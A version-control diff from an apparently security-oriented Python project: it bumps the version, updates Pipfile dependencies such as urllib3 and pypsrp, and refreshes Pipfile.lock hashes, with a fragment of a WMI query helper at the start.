# Static class
pass
@staticmethod
def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None):
_wmi = wmi.WMI(moniker=moniker)
try:
if not properties:
wmi_class = getattr(_wmi, class_name)()
else:
wmi_class = getattr(_wmi, class_name)(properties)
except wmi.x_wmi:
return
return MongoUtils.fix_obj_for_mongo(wmi_class)

View File

@ -4,8 +4,9 @@ import argparse
from pathlib import Path
MAJOR = "1"
MINOR = "11"
MINOR = "12"
PATCH = "0"
build_file_path = Path(__file__).parent.joinpath("BUILD")
with open(build_file_path, "r") as build_file:
BUILD = build_file.read()

View File

@ -23,12 +23,14 @@ pymssql = "==2.1.5"
pypykatz = "==0.3.12"
pysmb = "==1.2.5"
requests = ">=2.24"
urllib3 = "==1.25.8"
urllib3 = "==1.26.5"
simplejson = "*"
"WinSys-3.x" = ">=0.5.2"
WMI = {version = "==1.5.1", sys_platform = "== 'win32'"}
ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
pypsrp = "*"
typing-extensions = "*"
[dev-packages]

View File

@ -1,7 +1,7 @@
{
"_meta": {
"hash": {
"sha256": "1c464331fa9697084cb9fac3a2f6cf5fca45fa63c528928318f1031acd0f5eff"
"sha256": "43cdbb12fe6858c82a2fffa8dd1c38292b02dd326d2fa82cc8c1ab48a9d5b262"
},
"pipfile-spec": 6,
"requires": {
@ -18,19 +18,19 @@
"default": {
"aiowinreg": {
"hashes": [
"sha256:096663ec3db35fdc7ccc1c2d0d64a11cf64f4baa48955088e42b6a649ce418a5",
"sha256:2947556c73975f51fd8154e7242f36a508cd4eaca5f919c06916cb0e331a0733"
"sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2",
"sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd"
],
"markers": "python_version >= '3.6'",
"version": "==0.0.5"
"version": "==0.0.7"
},
"altgraph": {
"hashes": [
"sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa",
"sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe"
"sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857",
"sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158"
],
"index": "pypi",
"version": "==0.17"
"version": "==0.17.2"
},
"asn1crypto": {
"hashes": [
@ -48,11 +48,11 @@
},
"asysocks": {
"hashes": [
"sha256:6dc794b3ce4a254472d9c234ddda9341f8b9893dbd4254318be8897b491e66a6",
"sha256:ec4cd200b009731f013475f8e0579e8923d17137bd5051d743822848ac4c53cc"
"sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2",
"sha256:a0a20e583fedb08c962a68dd50764a34424c41bd59a0ae952d8bb368a03eaa45"
],
"markers": "python_version >= '3.6'",
"version": "==0.1.1"
"version": "==0.1.2"
},
"bcrypt": {
"hashes": [
@ -69,19 +69,19 @@
},
"boto3": {
"hashes": [
"sha256:0ab5afc51461c30f27aebef944211d16f47697b98ff8d2e2f6e49e59584853bb",
"sha256:77ea9ff6ce1d4a64839c358a713be80256584f478289a13562d1e0c1b9c362cc"
"sha256:3d8b1c76a2d40775b3a8a5c457293741641bf3b6b7150e3ad351e584bb50786e",
"sha256:f7e8ce6155a4d4fc23796cb58ea4d28dd4bbb61198a0da8ff2efcbee395c453c"
],
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'",
"version": "==1.17.97"
"markers": "python_version >= '3.6'",
"version": "==1.18.46"
},
"botocore": {
"hashes": [
"sha256:000cf4a3670ab47e14ddb5bd68fe050c6136029a478cf0b18a78779897d4175c",
"sha256:f7e119cf3e0f4a36100f0e983583afa91a84fb27c479a1716820aee4f2e190ab"
"sha256:58622d4d84adcbc352d82ab8a7ec512c7af862bcffd3b93225b416a87f46a6a2",
"sha256:a5df461647d1080185e91c3078ab570cc6fc346df05b9decac9fca68c149b7b8"
],
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'",
"version": "==1.20.97"
"markers": "python_version >= '3.6'",
"version": "==1.21.46"
},
"certifi": {
"hashes": [
@ -92,58 +92,54 @@
},
"cffi": {
"hashes": [
"sha256:005a36f41773e148deac64b08f233873a4d0c18b053d37da83f6af4d9087b813",
"sha256:04c468b622ed31d408fea2346bec5bbffba2cc44226302a0de1ade9f5ea3d373",
"sha256:06d7cd1abac2ffd92e65c0609661866709b4b2d82dd15f611e602b9b188b0b69",
"sha256:06db6321b7a68b2bd6df96d08a5adadc1fa0e8f419226e25b2a5fbf6ccc7350f",
"sha256:0857f0ae312d855239a55c81ef453ee8fd24136eaba8e87a2eceba644c0d4c06",
"sha256:0f861a89e0043afec2a51fd177a567005847973be86f709bbb044d7f42fc4e05",
"sha256:1071534bbbf8cbb31b498d5d9db0f274f2f7a865adca4ae429e147ba40f73dea",
"sha256:158d0d15119b4b7ff6b926536763dc0714313aa59e320ddf787502c70c4d4bee",
"sha256:1bf1ac1984eaa7675ca8d5745a8cb87ef7abecb5592178406e55858d411eadc0",
"sha256:1f436816fc868b098b0d63b8920de7d208c90a67212546d02f84fe78a9c26396",
"sha256:24a570cd11895b60829e941f2613a4f79df1a27344cbbb82164ef2e0116f09c7",
"sha256:24ec4ff2c5c0c8f9c6b87d5bb53555bf267e1e6f70e52e5a9740d32861d36b6f",
"sha256:2894f2df484ff56d717bead0a5c2abb6b9d2bf26d6960c4604d5c48bbc30ee73",
"sha256:29314480e958fd8aab22e4a58b355b629c59bf5f2ac2492b61e3dc06d8c7a315",
"sha256:293e7ea41280cb28c6fcaaa0b1aa1f533b8ce060b9e701d78511e1e6c4a1de76",
"sha256:34eff4b97f3d982fb93e2831e6750127d1355a923ebaeeb565407b3d2f8d41a1",
"sha256:35f27e6eb43380fa080dccf676dece30bef72e4a67617ffda586641cd4508d49",
"sha256:3c3f39fa737542161d8b0d680df2ec249334cd70a8f420f71c9304bd83c3cbed",
"sha256:3d3dd4c9e559eb172ecf00a2a7517e97d1e96de2a5e610bd9b68cea3925b4892",
"sha256:43e0b9d9e2c9e5d152946b9c5fe062c151614b262fda2e7b201204de0b99e482",
"sha256:48e1c69bbacfc3d932221851b39d49e81567a4d4aac3b21258d9c24578280058",
"sha256:51182f8927c5af975fece87b1b369f722c570fe169f9880764b1ee3bca8347b5",
"sha256:58e3f59d583d413809d60779492342801d6e82fefb89c86a38e040c16883be53",
"sha256:5de7970188bb46b7bf9858eb6890aad302577a5f6f75091fd7cdd3ef13ef3045",
"sha256:65fa59693c62cf06e45ddbb822165394a288edce9e276647f0046e1ec26920f3",
"sha256:681d07b0d1e3c462dd15585ef5e33cb021321588bebd910124ef4f4fb71aef55",
"sha256:69e395c24fc60aad6bb4fa7e583698ea6cc684648e1ffb7fe85e3c1ca131a7d5",
"sha256:6c97d7350133666fbb5cf4abdc1178c812cb205dc6f41d174a7b0f18fb93337e",
"sha256:6e4714cc64f474e4d6e37cfff31a814b509a35cb17de4fb1999907575684479c",
"sha256:72d8d3ef52c208ee1c7b2e341f7d71c6fd3157138abf1a95166e6165dd5d4369",
"sha256:8ae6299f6c68de06f136f1f9e69458eae58f1dacf10af5c17353eae03aa0d827",
"sha256:8b198cec6c72df5289c05b05b8b0969819783f9418e0409865dac47288d2a053",
"sha256:99cd03ae7988a93dd00bcd9d0b75e1f6c426063d6f03d2f90b89e29b25b82dfa",
"sha256:9cf8022fb8d07a97c178b02327b284521c7708d7c71a9c9c355c178ac4bbd3d4",
"sha256:9de2e279153a443c656f2defd67769e6d1e4163952b3c622dcea5b08a6405322",
"sha256:9e93e79c2551ff263400e1e4be085a1210e12073a31c2011dbbda14bda0c6132",
"sha256:9ff227395193126d82e60319a673a037d5de84633f11279e336f9c0f189ecc62",
"sha256:a465da611f6fa124963b91bf432d960a555563efe4ed1cc403ba5077b15370aa",
"sha256:ad17025d226ee5beec591b52800c11680fca3df50b8b29fe51d882576e039ee0",
"sha256:afb29c1ba2e5a3736f1c301d9d0abe3ec8b86957d04ddfa9d7a6a42b9367e396",
"sha256:b85eb46a81787c50650f2392b9b4ef23e1f126313b9e0e9013b35c15e4288e2e",
"sha256:bb89f306e5da99f4d922728ddcd6f7fcebb3241fc40edebcb7284d7514741991",
"sha256:cbde590d4faaa07c72bf979734738f328d239913ba3e043b1e98fe9a39f8b2b6",
"sha256:cc5a8e069b9ebfa22e26d0e6b97d6f9781302fe7f4f2b8776c3e1daea35f1adc",
"sha256:cd2868886d547469123fadc46eac7ea5253ea7fcb139f12e1dfc2bbd406427d1",
"sha256:d42b11d692e11b6634f7613ad8df5d6d5f8875f5d48939520d351007b3c13406",
"sha256:df5052c5d867c1ea0b311fb7c3cd28b19df469c056f7fdcfe88c7473aa63e333",
"sha256:f2d45f97ab6bb54753eab54fffe75aaf3de4ff2341c9daee1987ee1837636f1d",
"sha256:fd78e5fee591709f32ef6edb9a015b4aa1a5022598e36227500c8f4e02328d9c"
"sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d",
"sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771",
"sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872",
"sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c",
"sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc",
"sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762",
"sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202",
"sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5",
"sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548",
"sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a",
"sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f",
"sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20",
"sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218",
"sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c",
"sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e",
"sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56",
"sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224",
"sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a",
"sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2",
"sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a",
"sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819",
"sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346",
"sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b",
"sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e",
"sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534",
"sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb",
"sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0",
"sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156",
"sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd",
"sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87",
"sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc",
"sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195",
"sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33",
"sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f",
"sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d",
"sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd",
"sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728",
"sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7",
"sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca",
"sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99",
"sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf",
"sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e",
"sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c",
"sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5",
"sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69"
],
"index": "pypi",
"version": "==1.14.5"
"version": "==1.14.6"
},
"chardet": {
"hashes": [
@ -153,6 +149,14 @@
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
"version": "==4.0.0"
},
"charset-normalizer": {
"hashes": [
"sha256:5d209c0a931f215cee683b6445e2d77677e7e75e159f78def0db09d68fafcaa6",
"sha256:5ec46d183433dcbd0ab716f2d7f29d8dee50505b3fdb40c6b985c7c4f5a3591f"
],
"markers": "python_version >= '3'",
"version": "==2.0.6"
},
"cheroot": {
"hashes": [
"sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c",
@ -163,11 +167,11 @@
},
"cherrypy": {
"hashes": [
"sha256:56608edd831ad00991ae585625e0206ed61cf1a0850e4b2cc48489fb2308c499",
"sha256:c0a7283f02a384c112a0a18404fd3abd849fc7fd4bec19378067150a2573d2e4"
"sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038",
"sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495"
],
"markers": "python_version >= '3.5'",
"version": "==18.6.0"
"version": "==18.6.1"
},
"cherrypy-cors": {
"hashes": [
@ -185,6 +189,14 @@
"markers": "python_version >= '3.6'",
"version": "==8.0.1"
},
"colorama": {
"hashes": [
"sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b",
"sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"
],
"markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'",
"version": "==0.4.4"
},
"coloredlogs": {
"hashes": [
"sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8",
@ -256,19 +268,19 @@
},
"humanfriendly": {
"hashes": [
"sha256:332da98c24cc150efcc91b5508b19115209272bfdf4b0764a56795932f854271",
"sha256:f7dba53ac7935fd0b4a2fc9a29e316ddd9ea135fb3052d3d0279d10c18ff9c48"
"sha256:1697e1a8a8f550fd43c2865cd84542fc175a61dcb779b6fee18cf6b6ccba1477",
"sha256:6b0b831ce8f15f7300721aa49829fc4e83921a9a301cc7f606be6686a2288ddc"
],
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
"version": "==9.2"
"version": "==10.0"
},
"idna": {
"hashes": [
"sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6",
"sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0"
"sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a",
"sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3"
],
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
"version": "==2.10"
"markers": "python_version >= '3'",
"version": "==3.2"
},
"impacket": {
"hashes": [
@ -311,11 +323,11 @@
},
"jaraco.collections": {
"hashes": [
"sha256:3662267424b55f10bf15b6f5dee6a6e48a2865c0ec50cc7a16040c81c55a98dc",
"sha256:fa45052d859a7c28aeef846abb5857b525a1b9ec17bd4118b78e43a222c5a2f1"
"sha256:344d14769d716e7496af879ac71b3c6ebdd46abc64bd9ec21d15248365aa3ac9",
"sha256:6fdf48b6268d44b589a9d7359849f5c4ea6447b59845e489da261996fbc41b79"
],
"markers": "python_version >= '3.6'",
"version": "==3.3.0"
"version": "==3.4.0"
},
"jaraco.functools": {
"hashes": [
@ -327,11 +339,11 @@
},
"jaraco.text": {
"hashes": [
"sha256:b647f2bf912e201bfefd01d691bf5d603a94f2b3f998129e4fea595873a25613",
"sha256:f07f1076814a17a98eb915948b9a0dc71b1891c833588066ec1feb04ea4389b1"
"sha256:dc900b7916cefdaf943fbd43870abc8b0a6ff68f2c8c33e212fd51139219f68d",
"sha256:ede4e9103443b62b3d1d193257dfb85aab7c69a6cef78a0887d64bb307a03bc3"
],
"markers": "python_version >= '3.6'",
"version": "==3.5.0"
"version": "==3.5.1"
},
"jinja2": {
"hashes": [
@ -351,13 +363,13 @@
},
"ldap3": {
"hashes": [
"sha256:18c3ee656a6775b9b0d60f7c6c5b094d878d1d90fc03d56731039f0a4b546a91",
"sha256:4139c91f0eef9782df7b77c8cbc6243086affcb6a8a249b768a9658438e5da59",
"sha256:8c949edbad2be8a03e719ba48bd6779f327ec156929562814b3e84ab56889c8c",
"sha256:afc6fc0d01f02af82cd7bfabd3bbfd5dc96a6ae91e97db0a2dab8a0f1b436056",
"sha256:c1df41d89459be6f304e0ceec4b00fdea533dbbcd83c802b1272dcdb94620b57"
"sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6",
"sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687",
"sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70",
"sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5",
"sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"
],
"version": "==2.9"
"version": "==2.9.1"
},
"ldapdomaindump": {
"hashes": [
@ -374,30 +386,50 @@
"sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b",
"sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567",
"sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff",
"sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724",
"sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74",
"sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646",
"sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35",
"sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6",
"sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6",
"sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad",
"sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26",
"sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38",
"sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac",
"sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7",
"sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6",
"sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75",
"sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f",
"sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135",
"sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8",
"sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a",
"sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a",
"sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9",
"sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864",
"sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914",
"sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18",
"sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8",
"sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2",
"sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d",
"sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b",
"sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b",
"sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f",
"sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb",
"sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833",
"sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28",
"sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415",
"sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902",
"sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d",
"sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9",
"sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d",
"sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145",
"sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066",
"sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c",
"sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1",
"sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f",
"sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53",
"sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134",
"sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85",
"sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5",
"sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94",
"sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509",
@ -409,11 +441,11 @@
},
"minidump": {
"hashes": [
"sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498",
"sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff"
"sha256:5b9872a6417be626b7bc8db2f9feb6f9089e48ecfce372829a3418575fe22a1c",
"sha256:f545257f16437959d4c460dbb39b245ac019ba5f10a3bdd9b2efec4fad0d29e7"
],
"markers": "python_version >= '3.6'",
"version": "==0.0.18"
"version": "==0.0.20"
},
"minikerberos": {
"hashes": [
@ -425,11 +457,11 @@
},
"more-itertools": {
"hashes": [
"sha256:2cf89ec599962f2ddc4d568a05defc40e0a587fbc10d5989713638864c36be4d",
"sha256:83f0308e05477c68f56ea3a888172c78ed5d5b3c282addb67508e7ba6c8f813a"
"sha256:1debcabeb1df793814859d64a81ad7cb10504c24349368ccf214c664c474f41f",
"sha256:56ddac45541718ba332db05f464bebfb0768110111affd27f66e0051f276fa43"
],
"markers": "python_version >= '3.5'",
"version": "==8.8.0"
"version": "==8.10.0"
},
"msldap": {
"hashes": [
@ -448,31 +480,39 @@
},
"netifaces": {
"hashes": [
"sha256:078986caf4d6a602a4257d3686afe4544ea74362b8928e9f4389b5cd262bc215",
"sha256:0c4304c6d5b33fbd9b20fdc369f3a2fef1a8bbacfb6fd05b9708db01333e9e7b",
"sha256:2dee9ffdd16292878336a58d04a20f0ffe95555465fee7c9bd23b3490ef2abf3",
"sha256:3095218b66d359092b82f07c5422293c2f6559cf8d36b96b379cc4cdc26eeffa",
"sha256:30ed89ab8aff715caf9a9d827aa69cd02ad9f6b1896fd3fb4beb998466ed9a3c",
"sha256:4921ed406386246b84465950d15a4f63480c1458b0979c272364054b29d73084",
"sha256:563a1a366ee0fb3d96caab79b7ac7abd2c0a0577b157cc5a40301373a0501f89",
"sha256:5b3167f923f67924b356c1338eb9ba275b2ba8d64c7c2c47cf5b5db49d574994",
"sha256:6d84e50ec28e5d766c9911dce945412dc5b1ce760757c224c71e1a9759fa80c2",
"sha256:755050799b5d5aedb1396046f270abfc4befca9ccba3074f3dbbb3cb34f13aae",
"sha256:75d3a4ec5035db7478520ac547f7c176e9fd438269e795819b67223c486e5cbe",
"sha256:7a25a8e28281504f0e23e181d7a9ed699c72f061ca6bdfcd96c423c2a89e75fc",
"sha256:7cc6fd1eca65be588f001005446a47981cbe0b2909f5be8feafef3bf351a4e24",
"sha256:86b8a140e891bb23c8b9cb1804f1475eb13eea3dbbebef01fcbbf10fbafbee42",
"sha256:ad10acab2ef691eb29a1cc52c3be5ad1423700e993cc035066049fa72999d0dc",
"sha256:b2ff3a0a4f991d2da5376efd3365064a43909877e9fabfa801df970771161d29",
"sha256:b47e8f9ff6846756be3dc3fb242ca8e86752cd35a08e06d54ffc2e2a2aca70ea",
"sha256:da298241d87bcf468aa0f0705ba14572ad296f24c4fda5055d6988701d6fd8e1",
"sha256:db881478f1170c6dd524175ba1c83b99d3a6f992a35eca756de0ddc4690a1940",
"sha256:f0427755c68571df37dc58835e53a4307884a48dec76f3c01e33eb0d4a3a81d7",
"sha256:f8885cc48c8c7ad51f36c175e462840f163cb4687eeb6c6d7dfaf7197308e36b",
"sha256:f911b7f0083d445c8d24cfa5b42ad4996e33250400492080f5018a28c026db2b"
"sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32",
"sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea",
"sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85",
"sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5",
"sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5",
"sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7",
"sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0",
"sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c",
"sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05",
"sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9",
"sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b",
"sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff",
"sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d",
"sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4",
"sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4",
"sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1",
"sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4",
"sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f",
"sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246",
"sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150",
"sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3",
"sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be",
"sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89",
"sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1",
"sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4",
"sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac",
"sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8",
"sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048",
